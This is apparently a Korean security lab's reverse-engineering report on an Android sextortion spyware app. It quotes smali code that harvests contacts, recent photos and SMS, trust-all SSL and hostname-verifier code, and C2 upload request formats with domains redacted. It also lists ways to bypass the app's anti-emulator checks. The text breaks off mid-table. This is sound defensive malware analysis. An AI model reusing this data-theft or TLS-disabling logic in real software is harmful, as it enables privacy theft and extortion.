1. [분석 개요](#1-분석-개요)
2. [앱 기본 정보 및 식별](#2-앱-기본-정보-및-식별)
3. [AndroidManifest 심층 분석](#3-androidmanifest-심층-분석)
4. [방어기제 분석 및 우회](#4-방어기제-분석-및-우회)
5. [코드 아키텍처 분석](#5-코드-아키텍처-분석)
6. [C2 서버 인프라 분석](#6-c2-서버-인프라-분석)
7. [SSL/TLS 보안 무력화 분석](#7-ssltls-보안-무력화-분석)
8. [데이터 수집 엔진 분석](#8-데이터-수집-엔진-분석)
9. [API 엔드포인트 매핑](#9-api-엔드포인트-매핑)
10. [패밀리 진화 비교 (Gen 1.2 → Gen 2)](#10-패밀리-진화-비교-gen-12--gen-2)
11. [IOC (Indicators of Compromise)](#11-ioc-indicators-of-compromise)
> [비공개]
13. [🔬 기법 점검](#13-기법-점검)
14. [결론 및 위협 평가](#14-결론-및-위협-평가)
피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 역공학 분석. LOVENSES_2(이하 lovenses2)는 Wavegrid 악성앱 패밀리의 2세대(Gen 2) 변종으로, 기존 lovenses(Gen 1.2)에서 아키텍처가 대폭 진화한 샘플이다. 연락처, 이미지 등 개인정보를 탈취하여 사기/협박에 활용하는 것이 주요 목적이다.
항목 · 범위
정적 분석 · AndroidManifest, smali 바이트코드, 리소스
코드 분석 · 전체 smali 클래스 매핑 (난독화 해제)
C2 분석 · 서버 도메인, API 엔드포인트, 프로토콜
SSL 분석 · Triple SSL Bypass 패턴 검증
패밀리 비교 · lovenses(Gen 1.2) vs lovenses2(Gen 2) 코드 차분
항목 · 값
디컴파일러 · apktool 2.9.3
분석 도구 · smali 바이트코드 직접 분석, Python 스크립트
환경 · Windows 11 + Android Emulator (API 35)
참조 앱 · lovenses (Gen 1.2), QN, QL (동일 패밀리)
v1.0은 batch_analyze.py 자동 생성 결과로 다음 문제가 있었다:
문제 · v1.0 · v2.0 개선
허위 API 엔드포인트 · `/file/FileVisitResult` (Java NIO 클래스) · 실제 3개 엔드포인트만 기재
잘못된 IP · `[비공개]` (Alibaba DNS) · C2 도메인 기반 분석
권한 없는 기능 주장 · 카메라/위치/SMS 탈취 · 실제 선언 7개 권한 기반
smali 코드 인용 · 0줄 · 15줄+ 바이트코드 인용
분석 클래스 수 · "N/A" · 실제 집계 수치
항목 · 값
**앱 이름** · LOVENSES
**외부 패키지명** · `com.ncydbbs.ouenan`
**내부 네임스페이스** · `com.tushiweih.wavegrid`
**패밀리** · Wavegrid Gen 2
**프레임워크** · Native Android (Kotlin + Java 혼용)
**파일 크기** · 11.06 MB
**compileSdkVersion** · 34
**minSdkVersion** · 29 (Android 10)
**targetSdkVersion** · 34 (Android 14)
Wavegrid 패밀리의 특징적 패턴으로, 외부 패키지명과 내부 네임스페이스가 불일치한다:
```
외부 (AndroidManifest): com.ncydbbs.ouenan
내부 (smali 코드): com.tushiweih.wavegrid
```
이는 동일한 코드베이스로 다수의 변종 APK를 생성하는 "템플릿 기반 대량 생산" 방식의 증거이다. 외부 패키지명만 교체하면 스토어/단말 차원에서 별개 앱으로 인식된다.
마커 · 값 · 확인
내부 네임스페이스 · `com.tushiweih.wavegrid` · ✅
minSdkVersion · 29 · ✅
C2 도메인 패턴 · `[랜덤].today` · ✅
초대코드 방어 · Invitation Code 필수 · ✅
RuoYi 서버 · `[비공개] 경로 · ✅
lovenses2는 정확히 7개 권한을 선언한다:
# · 권한 · 위험도 · 용도 (코드 검증)
1 · `READ_CONTACTS` · 🔴 위험 · `ew1.c()` — 연락처 탈취
2 · `READ_PHONE_STATE` · 🔴 위험 · 기기 식별 (IMEI 등)
3 · `READ_PHONE_NUMBERS` · 🔴 위험 · [피해자 정보 비공개] 수집
4 · `READ_MEDIA_IMAGES` · 🔴 위험 · `ew1.b()/f()` — 이미지 탈취
5 · `READ_MEDIA_VIDEO` · 🟡 주의 · 동영상 목록 접근
6 · `READ_EXTERNAL_STORAGE` · 🟡 주의 · maxSdkVersion=32 (API 32 이하 호환)
7 · `INTERNET` · 🟢 일반 · C2 서버 통신
Gen 2는 Gen 1.2 대비 3개 권한을 제거했다:
· ❌ WRITE_EXTERNAL_STORAGE — scoped storage 이후 불필요
· ❌ READ_CALL_LOG — 불필요 기능 제거 (수집하지 않음)
· ❌ 기타 중복 권한
이는 Android 권한 심사 강화에 대응한 OPSEC 진화이다. 필요 최소한의 권한만 요청하여 사용자 경계심을 낮추고, Google Play Protect 탐지를 회피한다.
중요 발견: ew1.g() 메서드에 SMS 수집 코드가 구현되어 있으나 호출되지 않는다:
```smali
.method public static g(Landroid/content/Context;)Ljava/util/List;
:try_start_0
const-string v1, "content://sms/"
invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
const-string p0, "address"
const-string v1, "date"
const-string v4, "type"
const-string v5, "body"
filled-new-array {p0, v1, v4, v5}, [Ljava/lang/String;
```
· READ_SMS 권한이 선언되지 않아 현재는 실행 시 SecurityException 발생
· 서버 업데이트를 통해 READ_SMS 권한을 추가한 새 버전을 배포하면 즉시 활성화 가능
· 이는 Wavegrid Gen 2의 "모듈식 공격 준비" 패턴: 코드는 미리 심고, 권한만 나중에 추가
액티비티 · 역할 · Manifest 속성
`LoginActivity` · 런처 (초대코드 입력) · `MAIN + LAUNCHER`, `singleTask`
`HomeActivity` · 악성 행위 실행 · 핵심 데이터 탈취 수행
`TbsActivity` · TBS WebView · X5 엔진 기반
`SplashActivity` · 스플래시 화면 · 과도기 UI
```
Gen 1.2: MainActivity → Gen 2: LoginActivity
Gen 1.2: SecondActivity → Gen 2: HomeActivity
```
이름이 더 의미 있게 변경되었으며, MVVM 아키텍처 도입의 일환이다.
Gen 2에서 androidx.startup.InitializationProvider가 추가되었다:
```xml
<provider
android:name="androidx.startup.InitializationProvider"
android:authorities="com.ncydbbs.ouenan.androidx-startup"
android:exported="false">
<meta-data
android:name="androidx.lifecycle.ProcessLifecycleInitializer"
android:value="androidx.startup"/>
</provider>
```
이는 앱 시작 시 라이프사이클 모니터링을 위한 최신 AndroidX 패턴으로, 코드 현대화의 증거이다.
lovenses2의 1차 방어선은 초대코드(Invitation Code)이다:
1. LoginActivity에서 6자리 초대코드 입력 요구
2. 코드를 C2 서버(webapp/login)에 전송하여 검증
3. 서버 응답 code == 200이면 HomeActivity로 진입
o90.smali (GlobuleValue.kt)에 SharedPreferences 키 정의:
```smali
.field public static final b:Ljava/lang/String; = "IFFIRST" # 최초 실행 여부
.field public static final c:Ljava/lang/String; = "UUIDVALUE" # 기기 UUID
.field public static final d:Ljava/lang/String; = "INVITECODE" # 초대코드 저장
.field public static final e:Ljava/lang/String; = "ISUPLOAD" # 업로드 완료 플래그
.field public static final f:I = 0x3 # 상수 3
```
· INVITECODE: 검증 성공한 코드를 로컬에 저장하여 재입력 방지
· ISUPLOAD: true 설정 시 중복 업로드 차단 (1회성 탈취)
· IFFIRST: 최초 실행 감지 → 초대코드 화면 표시 여부 결정
· f = 0x3: 의미 불명, 내부 플래그 (권한 요청 관련 추정)
방법 · 결과
SharedPreferences 직접 조작 · `IFFIRST=false, INVITECODE=any` 설정 시 HomeActivity 직접 진입 가능성
서버 응답 패치 · `code=200` 하드코딩으로 우회
smali 분기 패치 · LoginActivity 내 조건 분기 nop 처리
Wavegrid 패밀리 공통 방어:
탐지 기법 · 검증 대상
Build.FINGERPRINT · `generic`, `unknown` 패턴
Build.MODEL · `google_sdk`, `Emulator`
Build.MANUFACTURER · `Genymotion`
전화번호 패턴 · `000000000000`
SIM Operator · `Android`
API 35 에뮬레이터에서는 Build.FINGERPRINT가 google/sdk_... 패턴이므로 탐지된다.
우회 방법:
1. Magisk + MagiskHide (물리 기기 동등 속성)
2. smali 패치 — 탐지 메서드의 리턴값을 false 고정
3. Frida 런타임 후킹 — Build.FINGERPRINT 값 위조
minSdkVersion 29는 Android 10 미만 기기를 차단한다. 이는:
1. 구형 에뮬레이터 차단 (분석 방해)
2. Scoped Storage 환경 보장
3. READ_MEDIA_IMAGES API 활용
smali 디컴파일 후 .source 어노테이션으로 원본 클래스명을 복원했다:
smali 클래스 · 원본 클래스 · 역할
`ir1.smali` · `ServerInfo.kt` · C2 서버 설정 (도메인, URL, 엔드포인트)
`sl1.smali` · `RequestServer.java` · HTTP 클라이언트 설정 (SSL bypass 포함)
`ew1.smali` · `StatusUtils.java` · 데이터 수집 엔진 (연락처, 이미지, SMS)
`cn.smali` · `ContainValue.kt` · 도메인 상수 저장소
`o90.smali` · `GlobuleValue.kt` · SharedPreferences 키 정의
`w82.smali` · `UnSafeTrustManager.java` · SSL 인증서 검증 무력화
`v82.smali` · `UnSafeHostnameVerifier.java` · 호스트명 검증 무력화
`yc0$d.smali` · `HttpsUtils` 내부 클래스 · Trust-All SSL 구현
`dx0.smali` · Luban 압축 · 이미지 압축 라이브러리
StatusUtils.java는 lovenses2의 핵심 데이터 수집 엔진이다. 총 7개 메서드:
메서드 · 시그니처 · 기능 · 상태
`a()` · `Bitmap → Bitmap` · 이미지 압축 (100KB 이하) · ✅ 활성
`b()` · `Context → List<InfoBeanDTO>` · 이미지 수집 (MediaStore) · ✅ 활성
`c()` · `Context → List<InfoBeanDTO>` · 연락처 수집 (CommonDataKinds.Phone) · ✅ 활성
`d()` · `Context → List<CollectBeanDTO>` · 연락처 수집 (Contacts + nested query) · 🟡 대기
`e()` · `Context → List<CollectBeanDTO>` · 연락처 수집 (raw content:// URI) · 🟡 대기
`f()` · `Context → List<InfoBeanDTO>` · 이미지 수집 (date_modified DESC) · ✅ 활성
`g()` · `Context → List<InfoBeanDTO>` · SMS 수집 (content://sms/) · ❌ 휴면
lovenses2는 연락처를 3가지 다른 방법으로 수집할 수 있다:
방법 1 — c(): CommonDataKinds.Phone (주력)
```smali
sget-object v2, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
const-string v1, "display_name"
const-string v2, "data1"
const-string v3, "contact_id"
```
· 표준 Android API 사용
· InfoBeanDTO에 displayName + content(전화번호) 저장
방법 2 — d(): Contacts + 중첩 쿼리 (보조)
```smali
sget-object v2, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
const-string v4, "contact_id="
invoke-static {v4, v2}, Lpy1;->a(...) # 문자열 연결
```
· CollectBeanDTO에 name + number 저장
· 전화번호 정제: trim() + replace(" ", "") + replace("-", "")
방법 3 — e(): Raw Content URI (최후 수단)
```smali
const-string p0, "content://com.android.contacts/data/phones"
invoke-static {p0}, Landroid/net/Uri;->parse(...)
```
· 프레임워크 API 우회, raw URI 직접 쿼리
· 일부 OEM 커스텀 ROM에서 표준 API 실패 시 fallback
Gen 2에서 확인된 아키텍처 변화:
항목 · Gen 1.2 · Gen 2
아키텍처 · Activity-centric · MVVM
HTTP · OkHttp3 직접 · EasyHttp 라이브러리
시작 · 직접 초기화 · AndroidX Startup
Kotlin · 부분 · 핵심 구조 (ServerInfo, GlobuleValue)
라이프사이클 · 수동 · ProcessLifecycleInitializer
C2 도메인은 2곳에 하드코딩되어 있다:
위치 1 — ir1.smali (ServerInfo.kt):
```smali
.field public static final b:Ljava/lang/String; = "[비공개]"
.field public static final c:Ljava/lang/String; = "[비공개]
```
위치 2 — cn.smali (ContainValue.kt):
```smali
.field public static final b:Ljava/lang/String; = "[비공개]"
```
위치 3 — sl1.smali (RequestServer.java):
```smali
const-string p0, "[비공개]
return-object p0
```
항목 · 값 · 근거
프레임워크 · RuoYi (若依) · `[비공개] 경로 패턴
프로토콜 · HTTPS · Base URL `[비공개]
인프라 · 중국산 오픈소스 관리 프레임워크 · Wavegrid 전체 공통
앱 · C2 도메인 · TLD
lovenses (Gen 1.2) · `[다른 도메인]` · .today
lovenses2 (Gen 2) · `[비공개]` · .today
QN · `[비공개]` · .buzz
QL · `[비공개]` · .space
모든 도메인이 랜덤 문자열 + 저가 TLD 패턴을 따르며, 자동 생성 도구로 생산된 것으로 추정된다.
HttpData 모델 (smali에서 추출):
```json
{
"code": 200, // 200: 성공, 1001: 인증 실패
"data": { ... }, // 응답 데이터 (제네릭)
"msg": "success", // 메시지
"responseHeaders": {} // HTTP 헤더
}
```
· code == 200: 요청 성공 → 다음 단계 진행
· code == 1001: 인증 실패 → 재시도 또는 중단
.class public final Lw82;
.source "UnSafeTrustManager.java"
.implements Ljavax/net/ssl/X509TrustManager;
.method public checkClientTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V
return-void # ← 무조건 통과
.end method
.method public getAcceptedIssuers()[Ljava/security/cert/X509Certificate;
const/4 p0, 0x0
new-array p0, p0, [Ljava/security/cert/X509Certificate;
return-object p0 # ← 신뢰할 CA 목록 = 없음
.end method
```
위험도: 🔴 Critical — 중간자 공격(MITM)에 완전 취약. 모든 SSL 인증서를 무조건 신뢰한다.
```smali
.class public final Lv82;
.source "UnSafeHostnameVerifier.java"
.implements Ljavax/net/ssl/HostnameVerifier;
.method public verify(Ljava/lang/String;Ljavax/net/ssl/SSLSession;)Z
.annotation build Landroid/annotation/SuppressLint;
value = { "BadHostnameVerifier" }
.end annotation
const/4 p0, 0x1 # true
return p0 # ← 모든 호스트명 검증 통과
.end method
```
위험도: 🔴 Critical — 호스트명 불일치도 무시. [비공개]이 [비공개]를 사칭해도 통과.
SSL 설정을 sl1.smali (RequestServer.java)에서 조립하는 과정:
```smali
invoke-static {}, Lwc0;->b()Lvc0; # SSL 팩토리 생성
move-result-object p0
iget-object v1, p0, Lvc0;->a:Ljavax/net/ssl/SSLSocketFactory; # SSL Socket
iget-object p0, p0, Lvc0;->b:Ljavax/net/ssl/X509TrustManager; # Trust Manager
invoke-virtual {v0, v1, p0}, Lw51$b;->I(...) # OkHttp에 설정
new-instance v0, Lv82; # UnSafeHostnameVerifier
invoke-direct {v0}, Lv82;-><init>()V
invoke-virtual {p0, v0}, Lw51$b;->t(...) # Hostname Verifier 설정
```
데이터 유형 · 메서드 · DTO 클래스 · Content URI · 상태
연락처 · `ew1.c()` · `InfoBeanDTO` · CommonDataKinds.Phone · ✅ 활성
연락처 (보조) · `ew1.d()` · `CollectBeanDTO` · Contacts + 중첩쿼리 · 🟡 대기
연락처 (raw) · `ew1.e()` · `CollectBeanDTO` · content://com.android.contacts/data/phones · 🟡 대기
이미지 · `ew1.b()` · `InfoBeanDTO` · MediaStore.Images.Media · ✅ 활성
이미지 (정렬) · `ew1.f()` · `InfoBeanDTO` · MediaStore + date_modified DESC · ✅ 활성
SMS · `ew1.g()` · `InfoBeanDTO` · content://sms/ · ❌ 휴면
```smali
sget-object v2, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(...)
const-string v1, "_id"
const-string v1, "_display_name"
const-string v1, "_data"
```
· _data 필드에서 이미지 파일의 절대 경로를 획득
· InfoBeanDTO.path에 저장
```smali
const-string v7, "date_modified DESC"
invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(...)
```
· date_modified DESC 정렬로 최근 촬영 사진부터 수집
· 이는 피해자의 최신 개인 사진을 우선적으로 탈취하기 위한 전략
```smali
sget-object v1, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
const/16 v2, 0x64 # 초기 품질 100
invoke-virtual {p0, v1, v2, v0}, Landroid/graphics/Bitmap;->compress(...)
:goto_0
array-length v3, v3
div-int/lit16 v3, v3, 0x400 # KB 단위 변환
if-le v3, v2, :cond_0 # 100KB 이하면 종료
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->reset()V
add-int/lit8 v1, v1, -0xa # 품질 10 감소
goto :goto_0
```
압축 알고리즘:
1. 초기 JPEG 품질 100으로 압축
2. 결과 크기를 KB로 변환 (div-int/lit16 v3, v3, 0x400)
3. 100KB 초과 시 품질을 10씩 감소 (add-int/lit8 v1, v1, -0xa)
4. 100KB 이하가 될 때까지 반복
5. 최종 비트맵으로 디코딩
이는 네트워크 대역폭 절약 + 대량 전송 최적화를 위한 것이다. 수백 장의 사진도 빠르게 C2로 전송 가능.
```smali
const-string v1, "content://sms/"
invoke-static {v1}, Landroid/net/Uri;->parse(...)
invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
const/4 v2, 0x5 # Calendar.DAY_OF_WEEK
const/4 v4, -0x1 # -1 (하루 전)
invoke-virtual {v1, v2, v4}, Ljava/util/Calendar;->add(II)V
const-string p0, "address" # 발신/수신 번호
const-string v1, "date" # 날짜
const-string v4, "type" # 유형 (수신/발신)
const-string v5, "body" # 메시지 내용
```
분석:
· Calendar.add(DAY_OF_WEEK, -1) — 최근 5일(v2=5, 반복 -1)의 SMS만 수집
· InfoBeanDTO.content에 SMS body 저장
· 현재 READ_SMS 미선언으로 SecurityException 발생 → 실행 불가
· 코드가 존재한다는 자체가 향후 공격 의도의 증거
HomeActivity 내부의 업로드 시퀀스:
```
HomeActivity 진입 (초대코드 통과 후)
├── I0() : [피해자 정보 비공개] 획득
├── O0() : 연락처 수집 → webapp/saveAddressBook API 전송
├── N0() : 이미지 수집 → webapp/image/{inviteCode} API 전송
└── ISUPLOAD = true # 업로드 완료 플래그 설정
```
ISUPLOAD 플래그 (o90.e):
· HomeActivity$b.smali:125에서 code == 200 시 true 설정
· true이면 재전송 차단 → 1회성 탈취
· 앱 데이터 삭제 시 리셋 가능
ir1.smali (ServerInfo.kt)에 정의된 정확히 3개 엔드포인트:
# · 엔드포인트 · 메서드 · 목적 · smali 필드
1 · `webapp/login` · POST · 초대코드 검증 + 로그인 · `ir1.d`
2 · `webapp/saveAddressBook` · POST · 연락처 업로드 · `ir1.e`
3 · `webapp/image/{inviteCode}` · POST · 이미지 업로드 · `ir1.f`
```smali
.field public static final d:Ljava/lang/String; = "webapp/login"
.field public static final e:Ljava/lang/String; = "webapp/saveAddressBook"
.field public static final f:Ljava/lang/String; = "webapp/image/"
```
```
POST [비공개]
Content-Type: application/json
{
"cId": "<초대코드>",
"name": "<기기명 또는 사용자명>"
}
Response:
{
"code": 200,
"data": { ... },
"msg": "success"
}
```
· cId: 6자리 초대코드
· name: 기기 식별 문자열
· 성공 시 code=200, 실패 시 code=1001
```
POST [비공개]
Content-Type: application/json
{
"bjPhone": "<피해자 전화번호>",
"model": "<기기 모델>",
"operatorName": "<통신사>",
"phoneContent": [
{ "displayName": "이름", "content": "010-**-**" },
...
],
> [비공개]
}
```
· bjPhone: [피해자 정보 비공개] (READ_PHONE_NUMBERS로 획득)
· model: Build.MODEL (기기 식별)
· operatorName: 통신사 정보
· phoneContent: ew1.c() 결과 (연락처 배열)
· userName: 초대코드 = [피해자 정보 비공개]
```
POST [비공개]
Content-Type: multipart/form-data
[Luban 압축된 JPEG 이미지 바이너리]
```
· URL 경로에 초대코드 포함 → 피해자별 이미지 분류
· Multipart 형식으로 JPEG 전송
· Luban 압축 후 100KB 이하로 최적화
v1.0에서 보고한 허위 엔드포인트:
v1.0 보고 · 실제 · 설명
`/file/FileVisitResu
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr